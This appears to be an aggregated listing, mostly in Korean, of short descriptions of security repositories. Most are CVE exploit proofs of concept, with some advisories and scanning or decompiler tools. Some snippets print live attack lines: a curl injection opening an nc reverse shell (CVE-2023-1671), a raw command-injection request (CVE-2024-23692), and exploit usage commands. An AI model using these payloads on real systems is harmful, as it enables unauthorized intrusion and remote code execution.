CVE-2025-32375

취약 버전 설정. 취약 컨테이너를 시작합니다: docker compose up 리스너를 생성합니다 예: ncat: ncat -klnv 1337 익스플로잇을 실행합니다: python3 exploit.py 모든 것이 예상대로 작동했다면 ncat 창에서 OS 명령id가 기본값의 내용이 포함된 HTTP 요청을 받게 됩니다. 크레딧 SeaW1nd님이 발견한 취약점 VickyTheViking의 테스트 설정을 기반으로 함...

CVE-2019-3929

CVE-2019-3929 Crestron/Barco/Extron/InFocus/TeqAV 원격 명령 삽입 CVE-2019-3929 Metasploit 모듈 Tenable의 설명에 따르면: 인증되지 않은 원격 공격자는 HTTP 엔드포인트 filetransfer.cgi에 조작된 요청을 전송하여 루트 권한으로 운영 체제 명령을 실행할 수 있습니다. 이 취약점은 알려진 모든 장치에 영향을 미치는 것으로 보입니다. 여기에는 Crestron AM-100 펌웨어 1.6.0.2, Crestron AM-101 펌웨어 2.7.0.1, Barco...

detectXSSlib

detectXSSlib 프로젝트 폴더: detectxsslib - 메인 라이브러리자세한 내용은 ReadMe.txt 참조 modules - detectxsslib을 사용하는 서버 모듈 test - 라이브러리 검증에 사용되는 URL 세트 tools - detectxsslib을 사용하는 명령줄 도구 라이선스 세부사항은 license.txt를 참조하십시오...

Important: Red Hat Security Advisory: vim security update

An update for vim is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the...

vim: Vim: Arbitrary command execution via crafted tags file in C omni-completion

A flaw was found in Vim, an open-source command-line text editor. An attacker could craft a malicious tags file that, when processed by Vim's C omni-completion feature, leads to insufficient escaping of input. This vulnerability allows for the execution of arbitrary Ex commands and, subsequently,...

pyt

.. image:: https://travis-ci.org/python-security/pyt.svg?branch=master :target: https://travis-ci.org/python-security/pyt .. image:: https://readthedocs.org/projects/pyt/badge/?version=latest :target: http://pyt.readthedocs.io/en/latest/?badge=latest .. image::...

murphysec

中文 | 영어 MurphySec CLI 는 명령줄에서 취약한 종속성을 탐지하는 데 사용되며, CI/CD 파이프라인에 통합할 수도 있습니다. 기능 1. 프로젝트에서 사용 중인 직접 및 간접 종속성 분석 2. 프로젝트 종속성에서 알려진 취약점 탐지 스크린샷 CLI 스캔 결과 스캔 결과 페이지 목차 1. 지원 언어 2. 작동 방식 3. 작업 시나리오 4. 시작하기 5. 명령어 소개 6. 커뮤니케이션 7. 라이선스 지원 언어 현재 Java, JavaScript, Golang을 지원합니다. 다른 개발 언어는 향후 점진적으로 지원될...

-CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar 백도어용 Bash PoC 설치 방법 ? wget https://raw.githubusercontent.com/0xSojalSec/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh 사용 방법 ? GH0ST3exP10it$ ./exploit.sh http://127.0.0.1:8080 + Targeting http://127.0.0.1:8080 $ id uid=33www-data...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL 명령 주입 RCE 설명 rtsold8은 DNSSL 도메인 이름을 resolvconf8에 전달하기 전에 셸 메타문자를 검증하지 않습니다. $를 통한 명령 치환은 인접 네트워크에서 원격 코드 실행을 가능하게 합니다. 영향 대상: 2025-12-16 이전의 FreeBSD 13.x, 14.x, 15.x 사용법 sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3 exploit.py -i eth0 -p 'id...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 184...

CVE-2019-15107

CVE-2019-15107 Webmin 익스플로잇 CVE-2019-15107 Webmin =1.920에서 문제가 발견되었습니다. passwordchange.cgi의 old 매개변수에는 명령 삽입 취약점이 포함되어 있습니다. NVD 컴파일 $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 사용 예제 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 명령 주입 Apache Ranger의 user-syncunixusersync 모듈에 존재하는 OS 명령 주입에 대한 실행 가능한 개념 증명PoC 재현 코드입니다. 동기화되는 각 사용자의 그룹을 열거하는 동안 UnixUserGroupBuilder는 셸을 통해 id 명령을 실행하며, 명령줄에 username 을 연결합니다: //...

CVE-2025-32778

CVE-2025-32778 - Web-Check 명령 주입 익스플로잇 설명 CVE-2025-32778은 Lissy93의 Web-Check OSINT 도구에서 발견된 심각한 명령 주입 취약점입니다. 인증되지 않은 공격자가 스크린샷 API의 url 매개변수를 통해 임의의 시스템 명령을 실행할 수 있습니다. 이 Python 스크립트는 익스플로잇을 자동화하며 리버스 셸을 생성하거나 사용자 지정 셸 페이로드를 수용할 수 있습니다. 경고 소유하거나 테스트 권한이 있는 시스템에서만 테스트하세요. 무단 사용은 불법이며 윤리적이지 않습니다. ...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry 이전 명칭 MobileIron Sentry는 모바일 디바이스와 기업 백엔드 리소스이메일, SharePoint, 내부 웹 애플리케이션 간의 트래픽을 프록시하는 엔터프라이즈 보안 게이트웨이입니다. 모바일 디바이스 관리MDM 정책을 시행하고, 암호화된 모바일 세션을 종료하며, 엔터프라이즈 앱 배포를 위한 인증서 기반 인증을 발급합니다. Sentry 인스턴스는 일반적으로 포트8443 에서 인터넷에 노출되어 MICSMobile Iron Configuration Service 관리 AP...

jadx

JADX jadx - Dex to Java decompiler Command line and GUI tools for producing Java source code from Android Dex and Apk files !WARNING Please note that in most cases jadx can't decompile all 100% of the code, so errors will occur. Check Troubleshooting guide for workarounds. Main features: decompil...

CVE-2020-24972

그래서 CVE-2020-24972는 사실 다른 CVE에서 파생되었습니다. 지정된 CVE가 기억나지는 않지만, Qt의 platformpluginpath 명령줄 옵션과 관련이 있습니다. 따라서 본질적으로 문제는 Qt를 사용하는 데서 비롯되며, 특히 platformpluginpath 옵션에서 비롯됩니다. "이 매개변수는 Qt5 플러그인을 가리키는 디렉터리 경로 또는 UNC 공유를 포함해야 합니다. 즉, 대상 위치에는 Windows의 동적 링크 라이브러리DLL 파일이 포함되어야 합니다. Qt5 애플리케이션은 특정 메타데이터에 따라...

CVE-2024-23692

CVE-2024-23692 BURP POC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

Nuclei 템플릿 F5 BIG-IP iControl REST 인증 우회 RCE 익스플로잇 | 명령 매개변수 CVE-2022-1388은 BIG-IP iControl API의 REST 구성 요소에 대한 인증 우회 취약점으로, CVSSv3 점수 9.8을 부여받았습니다. iControl REST API는 BIG-IP 장치의 관리 및 구성에 사용됩니다. CVE-2022-1388은 BIG-IP를 사용하는 장치의 관리 포트 또는 자체 IP 주소에 네트워크 접근 권한이 있는 인증되지 않은 공격자에 의해 악용될 수 있습니다. 악용에 성공하면...

xsubfind3r

xsubfind3r xsubfind3r는 주어진 도메인의 서브도메인을 간단하고 효율적으로 찾아내는 명령줄 유틸리티입니다. 다양한 수동적passive 소스로부터 정보를 수집하여 작동하므로, 대상과 직접 상호작용하지 않고 이미 공개적으로 제공되는 데이터를 수집합니다. 이로 인해 xsubfind3r는 보안 연구자, IT 전문가, 그리고 도메인과 연결된 서브도메인을 파악하려는 모든 사람에게 강력한 도구가 됩니다. 목차 기능 설치 릴리스 바이너리 설치 Go 미설치 시 소스 설치 Go 설치 시 go install ... go build...

CVE-2024-50498

CVE-2024-50498 영향을 받는 버전 WP Query Console =1.0 크레딧 https://github.com/RandomRobbieBF/CVE-2024-50498 전제 쿼리 유형은 WPQuery이고 WP Query Console은 일부 PHP 함수를 실행합니다. 사용법 python .\CVE-2024-50498.py 192.168.41.163 --query "id"...